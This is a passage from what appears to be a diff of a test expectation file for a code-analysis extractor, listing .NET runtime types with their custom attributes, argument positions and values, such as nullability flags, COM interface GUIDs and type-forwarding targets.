System.Runtime.CompilerServices.ContractHelper | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.CompilerServices.ContractHelper.InternalContractFailed | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Runtime.CompilerServices.CustomConstantAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.CustomConstantAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.CompilerServices.DateTimeConstantAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.DateTimeConstantAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.DependencyAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.DependencyAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.FixedBufferAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.FixedBufferAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.IAsyncStateMachine | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.ICastable | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.CompilerServices.INotifyCompletion | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.IStrongBox | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.CompilerServices.ITuple | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Runtime.CompilerServices.ITuple | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.CompilerServices.InternalsVisibleToAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.InternalsVisibleToAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.ReferenceAssemblyAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.ReferenceAssemblyAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.CompilerServices.RuntimeFeature | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.RuntimeFeature | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.RuntimeHelpers | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.RuntimeHelpers | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.RuntimeHelpers.CleanupCode | [NullableContextAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.RuntimeHelpers.TryCode | [NullableContextAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.RuntimeWrappedException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.RuntimeWrappedException | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.RuntimeWrappedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.CompilerServices.StateMachineAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.StateMachineAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.StrongBox`1.Value | [NullableAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.TupleElementNamesAttribute | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.CompilerServices.TypeForwardedFromAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.TypeForwardedFromAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.CompilerServices.TypeForwardedToAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.CompilerServices.TypeForwardedToAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.ExceptionServices.ExceptionDispatchInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.ExceptionServices.ExceptionDispatchInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.ExceptionServices.FirstChanceExceptionEventArgs | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.ExceptionServices.FirstChanceExceptionEventArgs | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ArrayWithOffset | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.ArrayWithOffset | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.BStrWrapper | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.BStrWrapper | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.COMException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.COMException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.COMException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.CoClassAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.CoClassAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComDefaultInterfaceAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.ComDefaultInterfaceAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComEventInterfaceAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.ComEventInterfaceAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComEventsHelper | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.ComEventsHelper | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComSourceInterfacesAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.ComSourceInterfacesAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.CONNECTDATA.pUnk | [NullableAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.EXCEPINFO | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.ComTypes.EXCEPINFO | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IBindCtx | [GuidAttribute(...)] | 0 | 0000000e-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IBindCtx | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IConnectionPoint | [GuidAttribute(...)] | 0 | B196B286-BAB4-101A-B69C-00AA00341D07 | +| System.Runtime.InteropServices.ComTypes.IConnectionPoint | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IConnectionPointContainer | [GuidAttribute(...)] | 0 | B196B284-BAB4-101A-B69C-00AA00341D07 | +| System.Runtime.InteropServices.ComTypes.IConnectionPointContainer | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IEnumConnectionPoints | [GuidAttribute(...)] | 0 | B196B285-BAB4-101A-B69C-00AA00341D07 | +| System.Runtime.InteropServices.ComTypes.IEnumConnectionPoints | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IEnumConnections | [GuidAttribute(...)] | 0 | B196B287-BAB4-101A-B69C-00AA00341D07 | +| System.Runtime.InteropServices.ComTypes.IEnumConnections | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IEnumMoniker | [GuidAttribute(...)] | 0 | 00000102-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IEnumMoniker | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IEnumString | [GuidAttribute(...)] | 0 | 00000101-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IEnumString | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IEnumVARIANT | [GuidAttribute(...)] | 0 | 00020404-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IEnumVARIANT | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IEnumerable | [GuidAttribute(...)] | 0 | 496B0ABE-CDEE-11d3-88E8-00902754C43A | +| System.Runtime.InteropServices.ComTypes.IMoniker | [GuidAttribute(...)] | 0 | 0000000f-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IMoniker | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IPersistFile | [GuidAttribute(...)] | 0 | 0000010b-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IPersistFile | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IRunningObjectTable | [GuidAttribute(...)] | 0 | 00000010-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IRunningObjectTable | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.IStream | [GuidAttribute(...)] | 0 | 0000000c-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.IStream | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.ITypeComp | [GuidAttribute(...)] | 0 | 00020403-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.ITypeComp | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.ITypeInfo | [GuidAttribute(...)] | 0 | 00020401-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.ITypeInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.ITypeInfo2 | [GuidAttribute(...)] | 0 | 00020412-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.ITypeInfo2 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.ITypeLib | [GuidAttribute(...)] | 0 | 00020402-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.ITypeLib | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.ITypeLib2 | [GuidAttribute(...)] | 0 | 00020411-0000-0000-C000-000000000046 | +| System.Runtime.InteropServices.ComTypes.ITypeLib2 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.STATSTG.pwcsName | [NullableAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ComTypes.VARDESC.lpstrSchema | [NullableAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.DefaultParameterValueAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.DefaultParameterValueAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.DispatchWrapper | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.DispatchWrapper | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.DllImportAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.DllImportAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.DllImportAttribute.EntryPoint | [NullableAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.ErrorWrapper | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.ErrorWrapper | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.Expando.IExpando | [GuidAttribute(...)] | 0 | AFBF15E6-C37C-11d2-B88E-00A0C9B471B8 | +| System.Runtime.InteropServices.ExternalException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.ExternalException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.ExternalException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.GCHandle | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.GCHandle | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.GuidAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.GuidAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.HandleRef | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.HandleRef | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.ICustomAdapter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ICustomFactory | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ICustomMarshaler | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.InvalidComObjectException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.InvalidComObjectException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.InvalidComObjectException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.InvalidOleVariantTypeException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.InvalidOleVariantTypeException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.InvalidOleVariantTypeException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.Marshal | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.Marshal | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.MarshalAsAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.MarshalAsAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.MarshalDirectiveException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.MarshalDirectiveException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.MarshalDirectiveException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.NativeCallableAttribute.EntryPoint | [NullableAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.NativeLibrary | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.NativeLibrary | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.ProgIdAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.ProgIdAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.SEHException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.SEHException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.SEHException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.SafeArrayRankMismatchException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.SafeArrayRankMismatchException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.SafeArrayRankMismatchException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.SafeArrayTypeMismatchException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.SafeArrayTypeMismatchException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.SafeArrayTypeMismatchException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.InteropServices.SafeHandle System.Threading.ThreadPoolBoundHandle.Handle | [NullableAttribute(...)] | 0 | 1 | +| System.Runtime.InteropServices.StructLayoutAttribute System.Type.StructLayoutAttribute | [NullableAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.TypeIdentifierAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.TypeIdentifierAttribute | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.UnknownWrapper | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.UnknownWrapper | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.InteropServices.VariantWrapper | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.InteropServices.VariantWrapper | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.Intrinsics.Arm.Arm64.Aes | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.Arm.Arm64.Base | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.Arm.Arm64.Sha1 | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.Arm.Arm64.Sha256 | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.Arm.Arm64.Simd | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.Vector64`1 | [DebuggerDisplayAttribute(...)] | 0 | {DisplayString,nq} | +| System.Runtime.Intrinsics.Vector128`1 | [DebuggerDisplayAttribute(...)] | 0 | {DisplayString,nq} | +| System.Runtime.Intrinsics.Vector256`1 | [DebuggerDisplayAttribute(...)] | 0 | {DisplayString,nq} | +| System.Runtime.Intrinsics.X86.Aes | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Avx | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Avx2 | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Bmi1 | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Bmi2 | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Fma | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Lzcnt | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Pclmulqdq | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Popcnt | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Sse | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Sse2 | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Sse3 | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Sse41 | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Sse42 | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Intrinsics.X86.Ssse3 | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Loader.AssemblyDependencyResolver | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.Loader.AssemblyDependencyResolver | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Loader.AssemblyLoadContext | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.Loader.AssemblyLoadContext | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Loader.AssemblyLoadContext System.Runtime.Loader.AssemblyLoadContext.CurrentContextualReflectionContext | [NullableAttribute(...)] | 0 | 2 | +| System.Runtime.Loader.AssemblyLoadContext.AssemblyLoad | [NullableAttribute(...)] | 0 | 2 | +| System.Runtime.Loader.AssemblyLoadContext.AssemblyResolve | [NullableAttribute(...)] | 0 | 2 | +| System.Runtime.Loader.AssemblyLoadContext.ContextualReflectionScope | [NullableContextAttribute(...)] | 0 | 0 | +| System.Runtime.Loader.AssemblyLoadContext.Resolving | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Runtime.Loader.AssemblyLoadContext.ResolvingUnmanagedDll | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Runtime.Loader.AssemblyLoadContext.ResourceResolve | [NullableAttribute(...)] | 0 | 2 | +| System.Runtime.Loader.AssemblyLoadContext.TypeResolve | [NullableAttribute(...)] | 0 | 2 | +| System.Runtime.Loader.AssemblyLoadContext.Unloading | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Runtime.Loader.AssemblyLoadContext._resolving | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Runtime.Loader.AssemblyLoadContext._resolvingUnmanagedDll | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Runtime.Loader.AssemblyLoadContext._unloading | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Runtime.Remoting.ObjectHandle | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.Remoting.ObjectHandle | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.Serialization.IDeserializationCallback | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.Serialization.IFormatterConverter | [CLSCompliantAttribute(...)] | 0 | False | +| System.Runtime.Serialization.IFormatterConverter | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Serialization.IObjectReference | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Serialization.ISafeSerializationData | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Serialization.ISerializable | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Serialization.SerializationEntry | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.Serialization.SerializationEntry | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Serialization.SerializationException | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.Serialization.SerializationException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.Serialization.SerializationException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Runtime.Serialization.SerializationInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.Serialization.SerializationInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Serialization.SerializationInfoEnumerator | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.Serialization.SerializationInfoEnumerator | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Serialization.StreamingContext | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.Serialization.StreamingContext | [NullableContextAttribute(...)] | 0 | 2 | +| System.Runtime.TargetedPatchingOptOutAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.TargetedPatchingOptOutAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.Runtime.Versioning.TargetFrameworkAttribute | [NullableAttribute(...)] | 0 | 0 | +| System.Runtime.Versioning.TargetFrameworkAttribute | [NullableContextAttribute(...)] | 0 | 1 | +| System.RuntimeType.ListBuilder`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.RuntimeTypeHandle | [NullableAttribute(...)] | 0 | 0 | +| System.RuntimeTypeHandle | [NullableContextAttribute(...)] | 0 | 2 | +| System.Security.Cryptography.CryptographicException | [NullableAttribute(...)] | 0 | 0 | +| System.Security.Cryptography.CryptographicException | [NullableContextAttribute(...)] | 0 | 1 | +| System.Security.Cryptography.CryptographicException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Security.IPermission | [NullableContextAttribute(...)] | 0 | 2 | +| System.Security.ISecurityEncodable | [NullableContextAttribute(...)] | 0 | 1 | +| System.Security.PermissionSet | [NullableAttribute(...)] | 0 | 0 | +| System.Security.PermissionSet | [NullableContextAttribute(...)] | 0 | 2 | +| System.Security.PermissionSet System.AppDomain.PermissionSet | [NullableAttribute(...)] | 0 | 1 | +| System.Security.Principal.IIdentity | [NullableContextAttribute(...)] | 0 | 2 | +| System.Security.Principal.IPrincipal | [NullableContextAttribute(...)] | 0 | 2 | +| System.Security.Principal.IPrincipal System.Threading.Thread.CurrentPrincipal | [NullableAttribute(...)] | 0 | 2 | +| System.Security.SecurityCriticalScope | [ObsoleteAttribute(...)] | 0 | SecurityCriticalScope is only used for .NET 2.0 transparency compatibility. | +| System.Security.SecurityCriticalScope System.Security.SecurityCriticalAttribute.Scope | [ObsoleteAttribute(...)] | 0 | SecurityCriticalScope is only used for .NET 2.0 transparency compatibility. | +| System.Security.SecurityElement | [NullableAttribute(...)] | 0 | 0 | +| System.Security.SecurityElement | [NullableContextAttribute(...)] | 0 | 2 | +| System.Security.SecurityException | [NullableAttribute(...)] | 0 | 0 | +| System.Security.SecurityException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Security.SecurityException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Security.SecurityTreatAsSafeAttribute | [ObsoleteAttribute(...)] | 0 | SecurityTreatAsSafe is only used for .NET 2.0 transparency compatibility. Please use the SecuritySafeCriticalAttribute instead. | +| System.Security.VerificationException | [NullableAttribute(...)] | 0 | 0 | +| System.Security.VerificationException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Security.VerificationException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Span<!0> System.Memory`1.Span | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Span<!0> System.Span`1.Empty | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Span<System.Char> System.Text.StringBuilder.RemainingCurrentChunk | [NullableAttribute(...)] | 0 | 0 | +| System.Span`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | +| System.Span`1 | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Span`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Span`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Span`1 | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Span`1 | [ObsoleteAttribute(...)] | 1 | True | +| System.Span`1.Enumerator | [NullableAttribute(...)] | 0 | 0 | +| System.Span`1.Enumerator | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Span`1.Enumerator | [ObsoleteAttribute(...)] | 1 | True | +| System.StackOverflowException | [NullableAttribute(...)] | 0 | 0 | +| System.StackOverflowException | [NullableContextAttribute(...)] | 0 | 2 | +| System.StackOverflowException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.StringComparer | [NullableAttribute(...)] | 0 | 0 | +| System.StringComparer | [NullableContextAttribute(...)] | 0 | 1 | +| System.StringComparer | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.SystemException | [NullableAttribute(...)] | 0 | 0 | +| System.SystemException | [NullableContextAttribute(...)] | 0 | 2 | +| System.SystemException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Text.DecoderFallback | [NullableAttribute(...)] | 0 | 0 | +| System.Text.DecoderFallback | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.DecoderFallback System.Text.Decoder.Fallback | [NullableAttribute(...)] | 0 | 2 | +| System.Text.DecoderFallbackBuffer System.Text.Decoder.FallbackBuffer | [NullableAttribute(...)] | 0 | 1 | +| System.Text.DecoderFallbackException | [NullableAttribute(...)] | 0 | 0 | +| System.Text.DecoderFallbackException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Text.DecoderFallbackException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Text.DecoderReplacementFallback | [NullableAttribute(...)] | 0 | 0 | +| System.Text.DecoderReplacementFallback | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.DecoderReplacementFallbackBuffer | [NullableAttribute(...)] | 0 | 0 | +| System.Text.DecoderReplacementFallbackBuffer | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.EncoderFallback | [NullableAttribute(...)] | 0 | 0 | +| System.Text.EncoderFallback | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.EncoderFallback System.Text.Encoder.Fallback | [NullableAttribute(...)] | 0 | 2 | +| System.Text.EncoderFallbackBuffer System.Text.Encoder.FallbackBuffer | [NullableAttribute(...)] | 0 | 1 | +| System.Text.EncoderFallbackException | 